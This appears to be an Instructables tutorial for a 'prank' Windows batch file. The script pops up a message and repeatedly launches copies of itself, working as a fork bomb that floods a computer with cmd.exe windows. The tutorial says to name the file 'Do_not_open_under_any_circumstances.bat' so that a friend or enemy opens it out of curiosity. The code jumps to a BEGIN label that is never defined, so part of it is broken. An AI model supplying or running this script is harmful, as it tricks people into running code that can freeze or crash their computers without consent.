Self-replicating Computer Prank




In this Instructable, you will learn how to make a self-replicating computer prank using a batch file.

Step 1: The Tools

Open notepad, located by pressing start and searching for it.

Step 2: The Code

Type in notepad:

@echo off

msg * "Your prank message"



start Do_not_open_under_any_circumstances.bat

goto BEGIN

Just make sure you change "Your prank message" to your actual message

Note: You can omit the "start Do_not_open_under_any_circumstances.bat line," but if you do, it will not be self-replicating.

Step 3: Saving It

Save it as a batch file by saving it as Do_not_open_under_any_circumstances.bat and the type not as a .txt file but as All Files

Step 4: Finish!

Now, when you friend/enemy clicks on the file out of interest (the file's name will make him/her too curious), Lots of cmd.exe boxes will appear and your message will also appear.



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